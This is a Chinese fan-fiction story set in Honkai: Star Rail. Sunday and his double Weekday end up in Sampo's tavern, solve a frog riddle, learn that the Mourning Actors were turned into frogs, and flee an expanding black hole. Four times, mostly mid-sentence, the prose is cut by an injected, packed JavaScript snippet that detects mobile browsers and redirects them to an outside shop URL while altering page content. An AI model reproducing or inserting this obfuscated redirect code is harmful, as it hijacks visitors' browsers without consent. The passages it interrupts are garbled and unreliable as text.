比如，工作日和星期日就是被花火一锤子锤到了这片地界。 老桑博比较穷，所以引力码头的设施劣质，嗡嗡地波动着，惹得工作日更想吐了。 “呕~” 工作日发出一声形象的闷哼，故意拽住了星期日的胳膊。 “别吐我身上。” 工作日歪了歪身子，整个人倚着星期日，星期日只好伸手帮他揉背心，以期缓解眩晕感。星期日一边揉一边想，如果是他，一定不会这样不顾颜面地在旁人面前呕吐。他无法接受这种狼狈和不洁净。他的一言一行都要合乎规范，不能有俗世的气息沾染。 所以工作日认为他活得太累了。 “没想到连你的晕车属性也一起继承了。”工作日面色苍白地感慨，“简直让我回忆起了在匹诺康尼乘快速飞车的经历，同样的眼冒金星，同样的——” “假面愚者。” 工作日的视线玩味似的指向了在他们旁边蹦跳的愚者，星期日跟着看过去。还没来得及叙旧呢，她便抱着自己的大锤子一溜烟就蹿进了酒馆的门。 “她的诡计不会得逞。”星期日冷冷地说道。 工作日撇了撇嘴：“你还是只会说假大空的话，你都没搞清她为什么这么做，就要反驳她的诡计了！” “你的出现只是为了在这里对我冷讥热嘲吗？” 工作日同样用问句回答：“你如此强调自我统一的人格完备，为何就是不能接受你的灵魂里一直存在很多个不同的面相？” 星期日的六翼耳羽只会在施用力量的时候短暂打开，而工作日的六翼则一直呈现在脸颊两侧。工作日故意拿一边的耳羽尖角碰了碰凑近了自己的星期日的脸颊，星期日扭头避开了。 “你说自己要接受人生的无序，却第一个不能接受自身诞育的杂音，难道不矛盾吗？”工作日浅声低语。 星期日没有继续和工作日争辩论理，他无情地移开工作日的手，去查看飞船的状况，发现燃料因为撞击全部泄漏了。 工作日摊摊手：“看来我们不得不拜访一下酒馆了，嗯，或许可以拿他们的酒当燃料呢？” 杂音。 他讨厌杂音，他讨厌欢愉的无所顾忌，他讨厌愚者的荒诞不经。但他早已放出厥词，要去改变自己以往的认知，所以探寻酒馆也可以成为他旅程的一步。 “走吧。” 说实话，其实他也挺想吐的，只是不想在工作日面前展露，才忍着罢了。 星期日瞥了一眼工作日，深吸一口气推开眼前的低矮木门。门还没有打开，星期日就感觉自己被里面嘈杂的靡靡之音淹没了。 啪叽。 他眼角突然抽痛了一下，他回头，发现工作日钻过低矮门洞的时候一个没注意，脑后的天环撞到了门楣。 “没料到吧？我的天环是实体，像是在匹诺康尼的梦里一样。”工作日扶正了自己的天环，星期日头顶的疼痛渐渐消失。 “哎呀，鸡翅膀男孩一下子变成了两个，事情真是变得更有趣了呢。”花火坐在了吧台前嘻嘻笑着，举起酒杯，“我来给你介绍介绍，来自雅利洛六号的老桑博，我的老朋友。” “好家伙，你可带来了个大客户。” 蓝头发的男人像地鼠一样从吧台后面钻了出来，满面笑容。 工作日还以为星期日忍不了酒馆的喧闹，结果星期日走到了花火面前：“愚者，你折损我们的飞船，当为自己狂妄的行为付出理所应该的赔偿。” “喂，被人拔光毛的小鸟。”花火拍了拍手，“愚者的信条里可没有理所应该四个字，不管你信奉的是秩序、律法还是正典，在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596466|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通通不管用哦~” 星期日的眉尾跳了跳，像是在极力压制愤怒和命令的欲望。 工作日耐人寻味地笑了起来，十分温和地对花火问道：“愚者，你的‘一锤子买卖’把我们带到这里究竟为了什么？” “当然是——” 花火拉长了音调。 “为了欢愉！” 星期日转身要走，和愚者沟通常常不会获得有价值的结果，他会及时止损。但工作日勾了勾他的手臂，将他拽了回来。 桑博也赶忙来打圆场：“既然都来了，赏个脸嘛！今日我们举办盛大的派对和「谁最欢愉」比赛，主题是「不说真话」！从现在开始！” “我桑博可是下了血本，掏光了全部身家买到的顶级宝贝，现在拿出来奖励给第一名！” 酒馆登时爆发出震天动地的欢呼声，不知为何，居然还有青蛙的呱呱声，绵羊的咩咩声，机械工具的滋滋声，和数之不尽的奇怪声响。 工作日“贴心”地凑过来，伸手为星期日捂住了双耳。星期日沉默了一下，推开了他的手，尝试对他坦诚地剖白自己的心：“你想的没错，我讨厌这里的混乱，想要像你所做的那样捂住耳朵，却因为长久以来保持的所谓修养和礼节而选择假装不动声色。” “有所进步啊。”工作日欣慰地答道，“不过你应该更加努力一些，令想法化作实践。” “不然的话，说不定这次被调律消失的会是你。连自身意志都无法厘清的你，又如何能够俯瞰星海？” “你这么爱旧事重提的吗？更何况，我此行恰恰不是为了俯视世间而迈步。” “现在可不是像之前在匹诺康尼那样，「启程」只是第一步，终极的问题是「你将行向何方」。你每踏出一步，就会多一分对自身的不坚定，若是失败于直面自身，或许我很快会取而代之呢。” 正在工作日和星期日哓哓不休地进行哲理的雄辩和演说时，桑博弯腰从吧台后方掏出了一颗明亮的星核。 5. 一起来唱 放心。 这是一颗空心星核。 听起来有点像一颗空心菜。 不过其中的能量已经被抽干净了，基本上只剩下外面的空壳，没有什么太大的杀伤力，所以刚好给桑博捡来用了。要问桑博是从何处捡来的，嘘~这可是假面愚者的秘密。 桑博捧着晶莹剔透的星核在酒馆中来回行走，展示给众位酒客看。他一挥手便有欢呼，他一举手便有笑声，他一歪头便有鼾声。 “我老桑博的朋友们，唱起来吧！” 花火蹦蹦跳跳地跟在他旁边，做着鬼脸：“哈哈哈哈哈，桑博，这次我花火够意思吧。你老是想干票大的，结果没有别的愚者愿意帮你！还得我来出马。” 桑博叹息着打断了她的话：“亲爱的花火大人呐，我让你找些人来，可没让你送一尊大佛给我呀！「家族」的人，可太辣手了。” 花火笑眯眯地眯起眼睛：“嘿嘿，这才叫有乐子呢。看在你诚恳请求的面子上，我才勉为其难地违背了一下我的欢愉原则，不然我一锤子捶来的就不是那两个性格比较平和的鸡翅膀男孩了。” “饶了我吧，姐妹。”桑博苦笑，“我确实不如你们欢愉，万事还得仰赖你们呐。” “真无聊，不和你吵吵吵吵了。”花火耸耸肩，戴上她的面具，裙摆舞动，“你的戏你自己演，反正观众已经具备，那么我该——” “赶紧逃命去了！” 她似一道光悠悠地破开人群冲了出去，穿过醉醺醺的青蛙歌唱家，尝试用编码理解酒之香气的智械和正在嚎啕哀哭的修士们——就像美丽的烟花快要绽放的时候…… 她突然被一股强硬的力量拉住了袖子的边角，啊啊，烟火哑火了，跑不出去了。 “站住。” 冷冰冰的，没味没趣的。 “喂喂喂……真是不够绅士的行为！” 她故作懊恼地跺了跺脚，叉起腰，冲着逮住她的星期日说道。 不知是酒馆热腾腾的气氛使然，还是工作日的激将法奏效了，星期日放开了一点对自己形象的坚持，干脆伸手一把抓住了花火的衣袖——最直接有效的方法，往往最简单。 星期日隐隐透着愤怒的气息，音节咬得很重：“愚者，你要给我一个交代。你破坏我们的飞船，以至于我们被困在此处，你若不交出解决方法，我不会允你离去。” “别这么颐指气使的嘛！又不是在匹诺康尼！”花火想把她的衣袖从星期日手中扯回来，但星期日居然怎么也不肯松手。 她向桑博挤眉弄眼地求助，桑博没看见。 于是她只好使出了一招「移花接木」：“呃……呃，我来帮忙还个人情的，要找去找老桑博！他才是编排这幕好戏的幕后黑手！我不过是个爱开玩笑的NPC~” “别油嘴滑舌的，愚者，你的伎俩蒙骗不到任何人。”星期日的愤怒值更加上涨，他一时抛弃了对体面和礼貌的追求。 工作日在旁边暗暗偷笑，趁乱点了杯清甜鸡尾酒，悠闲地倚靠着吧台正在品味，结果立刻为人抓包了。 见星期日纠缠她不放，花火抬起手指，哈哈一笑，再次使出一招「祸水东引」： “哎呦呦，摘掉了桂冠的金丝雀这么无能，连身上的财宝都保不住了吗？你那漂亮的耳垂上少了一只坠子，可不匀称。” 星期日微蹙眉头，侧目看向此时怡然自得的工作日，他无辜地抿了抿嘴，放下酒杯。花火说的倒是不错，他左耳处的金坠子确实不见了，明明之前出发的时候还在的。 「祸水东引」的招数确实有点高明，星期日一个不注意松了手，花火随即沾沾自喜地脱开身，一溜烟消失在酒馆门外，还顺带往空中撒了一把花瓣做告别礼物。 工作日抬手接了一片花，刚好对上星期日质问的眼神。 啊，不。 应该说是关切的探问。 “你的耳坠去哪里了？”星期日似乎关心自己的仪表整洁远远胜过了关心损坏的飞船，“……等等，你为什么在喝酒？” 为了保证清醒的头脑和理智的思维，以及身为家族主事人的职责，他从不碰酒这种会让人迷醉的东西。 他曾自诩为人间之日，自然与醉酒的狂欢势同水火。 所以工作日才喝一口酒，脸颊就敏感地红了起来，他还不至于现在醉倒，开口说出的话却像是醉得昏头昏脑的了：“毕竟你那么讨厌我，让你再讨厌一些又有何妨？” “我……” 此时此刻，星期日不知为何既无法承认自己讨厌他，又不愿意否认这一点，真的像只小鸟一样噎住了。 “话说回来，你怎么放跑了她？” 工作日把花瓣扔进杯子里，柔软的植物部组漂浮在五光十色液体上：“她还洋洋得意地以为自己的计谋得逞了呢。” “从我和她的短暂沟通之中已经可以得出结论，事态很明了。”星期日恢复了些许以往的操控全局的态势，“她并非始作俑者，继续纠缠没有意义，不若将力气花到能有突破口的地方。” 星期日的视线从刚刚开始一直钉在工作日右耳的空缺处。他想起了工作日第一次出现时的场景。 工作日压根不听星期日唠叨，手腕一转，对蓝发男子招呼道：“酒保，来杯威士忌……啧，给我旁边这位拘谨的伙伴再来杯伏特加吧，超级烈度的。” 桑博反手将星核收进了裤兜，笑吟吟地走过来，甩起雪克杯，如小丑戏法那般，接着递上了「桑博的特调」。 桑博说：“两位贵客，这杯算是我桑博请了，替花火她赔个不是，请笑纳。咱酒馆讲究的是一个开怀畅饮，畅所欲言。” 工作日在星期日眼前晃了晃酒杯。 “尝尝吧。” 星期日没接，反而对桑博说道：“这位桑博先生，在匹诺康尼就曾一展手段，如今引导我们至此，到底有何企图？” “您的眼睛可真尖！”桑博推诿道，“可把您们请来这事，我也是被蒙在鼓里的啊。花火她呀，做事素来没有分寸，我实在管不了，想来您比我更清楚她的作风。” 轻口薄舌的狂徒。 离了匹诺康尼的梦乡，简直遍地是怪人。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596467|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天在这里，不过是要上演一场剧目，诸位若是愿意赏脸一观之，就请赏脸入座吧。”桑博伸出双手，展现了他博大的胸襟，全场激昂地附和起来。 这遍地怪人当中，星期日最不会对付的绝对要数假面愚者，因为他们根本「不讲理」！他若是能利用威权使这酒馆关门大吉，使这愚者缄默口舌，也不会陷入如此僵局了。 “你现在肯定在想，什么派对，什么比赛，现在还来了出剧目，都是什么跟什么啊！”工作日又将「桑博的特调」递了过来，“学着接受世界的不一样吧，小鸟。” 星期日瞧着工作日轻佻的样子回道：“何时我的内心被播撒了欢愉的种子，以至于你的形象确实让我更厌恶了。” “加入酒馆未尝不是一条新路径。”工作日故意抬头摸了摸自己的耳垂，“「同谐」和「秩序」的爱子最终投身欢愉的理想，想想就很欢愉啊。” “你的玩笑非常拙劣。”星期日反击道。 “呵呵。”工作日闷哼一声，一模一样的脸，居然能截然不同的反应，“话归正题，你肯定现在正苦苦思索我的耳坠丢哪了——你喝了这杯酒，我就告诉你。” 冰块撞了撞透明的杯壁。 星期日默默地呼吸了几个来回，眼中的神色闪了又闪，身后的喧闹交响曲给这氛围推波助澜，在音乐的高峰，他多么会逢其时地伸出了手。 尝了浅浅一口。 就叫他的舌尖刺痛，辣辣的痛感直上云霄。 小鸟的舌头，太敏感。 星期日的眉头沉重到快打结了，他的大脑对这种新奇的味觉体验处理缓慢，冰凉、清冽而刺激的滋味萦绕在舌头顶端久久不能散去。 现在，他的脸也红了起来。 工作日尽兴地笑了笑，然后说道：“我们进门的时候，有只青蛙跳到我身上，衔走了耳坠。它本想到你身上去的，但是你走得太快，它顺着你的披风滑了下来。” “青蛙？”星期日感到不可置信。 “就是这群青蛙。”工作日指了指在远处圆桌上喝啤酒的绿色青蛙们，“犯罪嫌疑人是他们当中的一位，可惜它们长得全都一模一样，我也分不清。” 星期日信步走到圆桌前，他的气势立刻让它们打了个好几个寒颤，噤若寒蝉地停止了“呱”声。 “告诉我。” 星期日带着无可置疑的屹然气势发问。 “你们当中，是谁盗取了我的财物？若不诚实，我碾碎你们，便如折枝一般轻易，你们将永世留在河中①，失去智慧与言语。” 五只青蛙害怕地哆嗦起来，急忙陈述了他们各自的辩词。 青蛙一：“我们这里没有说真话的。” 青蛙二：“耳坠是青蛙四偷的。” 青蛙三：“耳坠不是青蛙二或青蛙四偷的。” 青蛙四：“我们五个都没有偷耳坠的。” 青蛙五：“耳坠是说真话的人偷的。” 工作日惊喜地挑了挑眉，对星期日说道：“喏——你最得心应手的逻辑谜题来了。看看谁能成功挑战秩序和真理！” 6. 复生恩典 太有趣了。 他倒要看看星期日该如何应对一群聒噪的青蛙给他出的无厘头谜题。 工作日又喝了一口酒。 明明匹诺康尼那样纸醉金迷，星期日却半点不为所动，还想着靠苦行拯救世人——这宇宙间大多数人都会觉得他十分荒谬且得不偿失吧？ 为何不干脆放荡沉迷……？ 现在工作日的脸开始彻底地滚滚发烫了，酒精的效用真让他有些忘乎所以。舌尖麻麻的、涩涩的，发酵过的酒藏着一股又苦又醇的味道，他差点想把舌头吐出来散散痛感了。 星期日发觉了异样，回头瞥了一眼他那不妥当的行为，工作日悻悻地收回舌头。 又变回了无趣的家伙。 “哎呀，到底谁是犯人呢？我桑博真是想破脑袋也想不出来正确答案呐！” 桑博在旁边一个劲地使眼色，像是企图把事情拉回正题。 工作日不太明白桑博的意思。 ——尤其是在他的脑子被甜美的酒精浸泡了一遍之后。 这时他倏地灵光一现，产生了一个疑问：作为诞生仅仅数十个系统时、象征着星期日童稚之心的新生命，以人类的标准而言，是否还算是个小孩子呢？或许他该保持着童真，而不该拥有成年人的智慧。 不过星期日并没有心思搭理——当然，他也无从得知工作日的胡思乱想。青蛙的文字谜题使星期日罕见地沉默了良久。 工作日握着酒杯想道，难道这么简单的谜题就令他束手无策了？匹诺康尼的失败真的令他一蹶不振了吗？ 桑博又开始了：“根据青蛙们的自我辩护，它们当中肯定有蛙说了真话，有蛙说了假话。只要我们能够推理出是谁讲了真话，是谁讲了假话，就可以知道究竟哪一个偷了耳坠。这位高贵的先生，你说是吧！” “愚者先生，这可真是一段动听的绕口令。” 工作日想了想，替桑博捧了个场。 哎，他必须成长起来——不然星期日就得孤孤单单一个人，啥事都往心里咽——这样只会变得无聊透顶。 他夸张地扬起手臂，试着替星期日推理一下：“既然这位愚者先生说本次比赛的主题是「不说真话」，那么我们可以得出结论——这五只青蛙说的全部是假话，继而只需反推……” 星期日的耳羽微微颤了颤，酒馆嘈杂的声音多少让他有些不适。 要忍耐。 他告诫自己。 …… “安静。” 但他陡然打断了所有言语。 脸颊两侧因酒精刺激而泛起的浅红色还没有褪去，昏黄的灯光在眸中朦胧模糊，但他仍旧像裁定正义与罪恶的大法官那般申斥道。 他的威严显然不容置疑。 这在匹诺康尼时便已得到过多重认证。 星期日很明白一个道理：一旦陷入了他人所谓逻辑陷阱之中，思维就难以逃脱定式，所以切不可为妄语所迷惑了…… “我不管你们所言说的是真亦或假，我只要求一点。” “交出我的失物，我便宽恕你们的罪。” 他的声音有如锐利的剑锋，神色是严正而庄重的。即便如今另择信仰，他仍是「同谐」最爱的孩子之一，他稍一施力，没有任何存在可以逃过他的力量所及。 他若是遵守规则，去解这个谜题，才是被套了进去。面对这种境地，唯一的办法只有不按常理出牌。 “三重面相的……” 他缓缓念出「同谐」的咒语。 “呱~” 青蛙们登时痛苦地呱呱鸣叫，蹦跳起来按着节奏绕成一个圈，叫其他人分不清它们哪个是哪个，然后再一个跳上另一个的背，叠成了宝塔的形状。 中间的一只蛙咕噜一滚咽喉，吐出了沾满黏液的金色小物件。 躺在了桌面中央。 “对不起，先生。”中间的青蛙缓缓张口，向他们道歉，语调含着悲伤，“请原谅我们的失礼之举……可是如果不这么做的话，像您这样高贵的大人物又怎么会注意到我们这般卑贱孱弱的配角呢？” 星期日听到它的话，神色微妙地变了变，收起了精神力的武器。 “恭喜、恭喜，你那控制狂的本色终于回来了。”工作日在后头拍了拍手，接着搭上星期日的肩膀走近，“可喜可贺啊。” “别这么轻浮。” 星期日虽然这么说着，但他实际上拿工作日毫无办法。 两个人分明一样高，于是此举显得像是推开一面镜子，然后看见了另一面镜子。 “「家族」的信条如何讲的？以强大的力量去援助弱小的存在，我们岂会弃你们于不顾呢？” 工作日对着青蛙们如此说道，偏偏充满了嘲讽的味道。 他本意当然不是调侃青蛙们的痛苦，可如今说起家族的理念，不禁让人从心底质问，家族当真有在践行「同谐」的道路吗？ “呱！” 青蛙们努力地憋出了一声哀嚎。 星期日默然地拾起桌面上那并不甚洁净的耳坠，隔着一层手套，他还算勉强能忍受。接着他从怀里掏出了手帕子细致地擦拭了一下它，抹掉黏黏腻腻的液体。 星期日不回答，工作日就继续煽风点火道：“仰承信赖，让我们来为你们做主，大胆地说出你们的……” “这里并非「家族」的地界，我也不再是希佩的铎音。”星期日截住话头。 他说的是事实。 青蛙们露出更加悲伤的表情。 星期日转身把清理干净的耳坠递回给工作日，视线斜向站在一侧看戏的桑博，桑博骤然被星期日严厉的目光刺到，吓了一大跳。 “在你们讲起故事之前，我有几个问题要问一问这家酒馆的主人……” 然后他居然被打断了。 “我也有个问题。” 工作日像一个刚上学还有些拘谨的小孩子举起了手。 “为什么青蛙会说话呢？” 这宇宙间千奇百怪，无所不有，匹诺康尼还有会说话、会唱歌的小猴子呢！但这里不是梦境，凡事还得有理有据，遵循“科学”——虽然在星神面前，“科学”自然不算什么了。 “我们并非想向您忏悔罪过，因为宇宙间的罪过太大太深重，任何人也不可赦免。我们向您开口，是求您解放我们，赐我们一个无上的复生恩典。” 中间的青蛙张口即是演剧般的沉郁顿挫、宛转合拍，却和星期日语调中的情绪两相冲击，偏离了曲调。 工作日露出了欣慰的表情，他打断了星期日，星期日却无法对他做出任何指责。到这种地步，星期日几乎揣测到了，工作日出现的使命便是为他说出他所犹豫且不敢说出的话。 “以强援弱和以死护生是家族的起誓。我现今已脱离家族，若你们向我祈祷，我没有办法回应你们的希冀。” 星期日用端正的语气说道。 “但身为在星间行走的旅客，见到有受难的却不援助，绝非义举。请告诉我，你们究竟是谁，又遭遇了什么，我方可为你们解忧。” 他金色的眼眸中带着仁爱的色彩。 “以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596468|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及某位在背后暗中筹谋的愚者。”星期日的视线重新指向桑博。 “兄弟，你这么问，反而不够欢愉了啊。”桑博无辜地眨了眨眼，应对星期日的质询。 然而他正说着，天崩地裂的震动猝不及防在他们的脚底发生。 随着剧烈摇晃和迅猛的声响袭来，酒馆立刻陷入一团混乱，所有的东西碰撞在一起。 众生凄厉尖叫。 蓝色的水先是从门缝底下漏进来，然后穿过窗户的四边，喷涌而出。酒杯、酒桶、座椅、盘子、碟子，全都漂浮在空中。重力系统突然失效，不管你是青蛙还是人类，通通到天上了！ “朋友们，快跑啊！到后头去！有船！” 桑博振臂呼唤道。 他反应的速度根本过于迅速了。 转眼间蓝海浸没了将近一半的空间，浪潮拖远了工作日的身子，大家蜂拥在失重的空中努力跟上桑博，互相挤开了彼此。 工作日头后的天环径直撞上了天花板，哐当一声，星期日太阳穴一个刺痛，两个人的共感非常强烈。 “拉住我！” 星期日大声说道，伸出手臂。 工作日挣扎着脱离了蓝海，他旋即意识到刚刚包裹住自己的不是真正的海水，而是一种虚无而光滑的流体物质，汇聚在一起似海一般。 “拉……拉上了。” 工作日握紧了星期日的掌心，长舒一口气地笑了笑，星期日侧身拽了拽，领着穿过酒馆的后门，进入了酒窖。 在那里，桑博等待着他们。 酒馆中的其他顾客争先恐后地登上准备好的小船，包括那几只青蛙，已经被桑博放在了船头。他们所乘坐的船即是—— 悲悼伶人的贡多拉。 邪恶的愚者偷走了他们的船！ 然而在这危机时刻，被窃取的反成为了救命的稻草。彩色的贡多拉驶出幽暗的水渠，在逃命的旅途中，没有人顾得上什么道德和正义。 工作日和星期日被迫上了桑博划着的那艘贡多拉。 海很快追上了他们。 就在咫尺距离的眼前，桑博的酒馆分馆轰然倒塌，残破的木片漂浮于海面之上，扬起、坠落。 “嗯？” 工作日垂眸思索，轻轻舔了舔手指尖。 “这海水是记忆的味道。” 星期日冷冷地盯着海平面的那端，当巨大的酒馆建筑解离之后，失去了遮挡物，背后的方向黑暗光耀夺目。 一个黑洞正在远方极速扩大。 当黑洞吸走了周身所有的光芒时，它便成了那最闪耀的。 虚无的化身之一平等地吞噬一切，记忆受到引力的挤压，为了逃离毁灭的命运，形成泛滥的海洋。 星期日转过身，那只青蛙跳到了他展开的掌心上，他的眸中映出了广袤的琉璃行星带的金碧光辉。 如果不加阻止，扩张的黑洞即将吞噬此处所有的景观。 “我知晓了。” 星期日说道。 此处是悲悼伶人的剧团分部之一的所在地，名为「帕特雷□□齐亚」的世界，而所有本该在哭泣的演剧家，全部变成了只会咕咕叫的青蛙，跃动在琉璃光带之上。 青蛙的智慧无法理解黑洞的意义。 它们对自己将要被引力碾为虚无的命运一无所知，尽情欢歌着。 “请您救救我们吧！”站在星期日掌心的那只青蛙哀求道，“我是他们当中少数还能保有言语之能力的，奔走在宇宙间发出求援的讯号，你们是第一个且唯一一个回应我们的。” 7. 自己的歌 星期日看向船舷的另一侧，数十艘贡多拉漂浮在蓝色的海洋之上，形形色色的乘客眺望着远方黑洞的极致景色，喟叹于宇宙的深邃。 和无情。 黑洞的膨胀非常迅速，周遭坍缩的一切落到记忆的海中，海波愈发汹涌。 星期日还在仔细思考，工作日却满是好奇地屈起膝盖，保持视线和星期日手上的青蛙平行，悠悠问道： “青蛙小姐，这片琉璃光带是悲悼伶人的聚居地，所以你本是悲悼伶人中的一员？” “啊，尊敬的先生，您竟然认出了我是位美丽的小姐~” 青蛙说着扬起自己的脚蹼，贴了贴自己的脸颊：“吾名为朱丽叶，是个还在努力钻研悲剧精神的新晋演员。” “你好，朱丽叶小姐。”工作日配合地应和着，“请问你还记得是谁做了坏事，将你们通通变成了青蛙？他们为什么要这么做呢？” “哦！对！唉……”青蛙小姐发出长长的叹息，“要问是谁干的好事呢？答案只有一个—— “是原始博士！” 朱丽叶简单地讲述了之前发生的事情。 本来，居住在此地的悲悼伶人们正在排演他们新编的剧目。结果为了躲避巡海游侠的追杀路过此地的原始博士撞见了他们的彩排。原始博士觉得悲悼伶人的戏剧过于夸诞，充满了对世间万物的悲观态度，毫无积极探求之心。他认为既然伶人们认为人生苦痛，干脆回到智慧生命最本源的状态吧！于是他便命令自己的学生以这些悲悼伶人为试验品，为他的‘返祖实验’研究积累数据。 然而因为实验过程中的错误操作，伶人们没变成猴子，反而基因异变成了青蛙。 “谬误啊，谬误！我们伶人反对欢愉，却从不认为人生虚无而毫无意义，原始博士为何要如此抹杀我们？”朱丽叶用她的脚蹼捂住眼睛，“可怜我第一次有机会登上琉璃剧院的最高层舞台，就遇到了这样的灾祸。” “我记得他。” 星期日重复了这个响当当的名号，视线余光停留在身后的黑洞奇点处，它的体型在他们谈话之间越变越大。 在星期日跟随列车离开匹诺康尼之前，原始博士曾经在暗中策划传播了叫做“睡蕉小猴”的模因污染，差点将折纸大学的学生和流梦礁的居民全部化作了爱吃香蕉的猴子。幸好开拓者和她的伙伴们携手挫败了他的阴谋，没有令事情进一步发酵。 看来现在原始博士又一次出手了，不知道他是否还有更进一步的企图？ 悲悼伶人和假面愚者同为受欢愉星神注视和赐福的命途行者。不过悲悼伶人反对欢愉，崇尚苦修，行事原则和假面愚者针锋相对。 因此愚者往往爱捉弄他们取乐，甚至连欢愉星神自己也爱戏耍他们。然而坐视他们沦为原始博士的试验品，欢愉星神本身也不会觉得欢愉的吧？ “我尝试向宇宙各方发出求助讯号，不过尚且没有得到回音。”朱丽叶来回叹气，“后来我心想，不能这么干等着啊！就试着用我这小小的新身子跳出这片光带，可惜与无穷大的宇宙相比，我实在太小，花了很久时间也没跳出几里路。” “幸好在此时，我遇上了这位大善人，愿意来帮助我们。”朱丽叶又抬起脚蹼，对上桑博的笑容。 桑博说道：“这我老桑博可不敢居功自傲，此事还得靠两位才行啊。我已经提前准备好了关键道具，就待专业人士出手。” 桑博从兜里掏出了先前那颗空心的星核，但他还没来得及说出下一句话，骚动却先行而至。 通体透明的星鲨浮出记忆的海面，破碎的记忆味道弥漫在空中，所以存在出于本能地逃离虚无的辐射。 它们以赤裸的黑日为背景前后梭巡，包围住了游弋的贡多拉船。 “是记忆之海中孕育的星鲨！”旁边船上眼尖的乘客惊呼道。 悲悼伶人的贡多拉船实际上是一种小型飞船，所以能在太空中航行。星鲨是与记忆之海相伴相生的物种，它们摇晃头槌，一下就能掀翻小小的贡多拉。 它们会吞食记忆之海上的一切异物，让他们成为记忆的一“分子”，这就是记忆之海的力量，完全不讲道理。 “赶紧跑啊——”众人开始拼命划船，“要被吃掉啦！” “等一下……”星期日的话音瞬间淹没在滚滚涛声里。 这时，其中一只星鲨朝星期日和工作日所在的船张开巨嘴，蓝色的海在其中打着旋，他们的船受到一股强有力的吸力牵引，往漩涡中沉去。 “两位大人请别多说了，快爬下！” 桑博飞速地摇着船桨，工作日和星期日压低了身子贴住船壁来减少阻力，星期日把朱丽叶放进了衣领里头，以免她飞出去。 “真难搞……完事之后，得加钱！”桑博无奈地说道，手上划桨的动作一刻不停，“啧啧，还得分花火那家伙一笔！” 海面上两个方向的力互相抗衡着，一时之间谁也分不出高下。洋波起伏翻滚，晃得星期日面色苍白起来。 掀起的海水如细叶密线铺在脸上，他的额发散乱开来，他不知为何压低了眼睫，流露出一丝犹豫。他想说些什么，但莫名地迟疑了。 自匹诺康尼那场疼痛的坠落之后，他难免感到几分局促不安。他身负伟力。要去拯救世人的想法已遭确凿的证明是错误的，所以他犹豫着自己到底该不该做，又应当做到何种地步呢？是否会迎来驳斥的意见，反对的声音，还是盲目愚从的欢呼？ “喂——” 然而工作日费力地挪过来，桑博之前手里拿着的星核滚落到了他脚边，被他一把按住了。 “你忘了你小时候的事啦？” 他来了句摸不着头脑的话。 “什么……?”星期日皱着眉头看他，努力在晃动的船上保持身体稳定。 那双金色的眼睛，同样的色彩，同样的瞳膜，却多了几分未经洗礼的直率。 工作日张嘴唱了两句，像鸭子叫一样。星期日小时候吃多了布丁蛋挞，唱起歌来声音便如这般。 “你又不是万维克，别学他，你不是幼时的我，没必要总是旧调重弹。” “我可以是他，也可以不是他。” 工作日在雨中又唱了几句谐乐颂当中的歌词，只不过他不像知更鸟那样具有音乐天赋，还喜欢吃黏喉咙的甜品，所以歌声混混沌沌的。 可以说，有些难听。 “闭嘴。” 星期日对这种难听的音乐忍无可忍了。 “你明白我什么意思。”工作日笑了笑，“虽然我说过很多遍了，但必须再跟你重复一遍，不然你一直忘记。” 工作日故技重施地凑近了，他急促的呼吸杂乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596469|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地扑在一体同生的“自己”脸上，他们离得那样切近，仿佛能通过眼眸的对视望进彼此的灵魂深处。 “勇敢去做吧，不要恐惧，不要自问，不要担忧。”工作日嘴唇微启，念出了「魔咒」。 “说实话，你很久没有唱过歌了吧。”工作日轻轻说道，“你明明很喜欢音乐，却因为肩头的责任而三缄其口。一首合唱曲不能只有一个声部，你们是秩序双子，你若是没有歌唱的勇气，如何能迈出前行的步子？” 飞溅的水花迷蒙他的眼睛，工作日抬起耳羽为他遮挡，星期日压低眼睫，复又抬起。他抬手碰了碰另一个自己的脸颊边缘，好似在仔细观察自身，工作日抿嘴笑笑。 工作日的剖析仿佛赋予了他决心的力量，他不祈求希佩或太一的赐福，他会运用自己的力量。 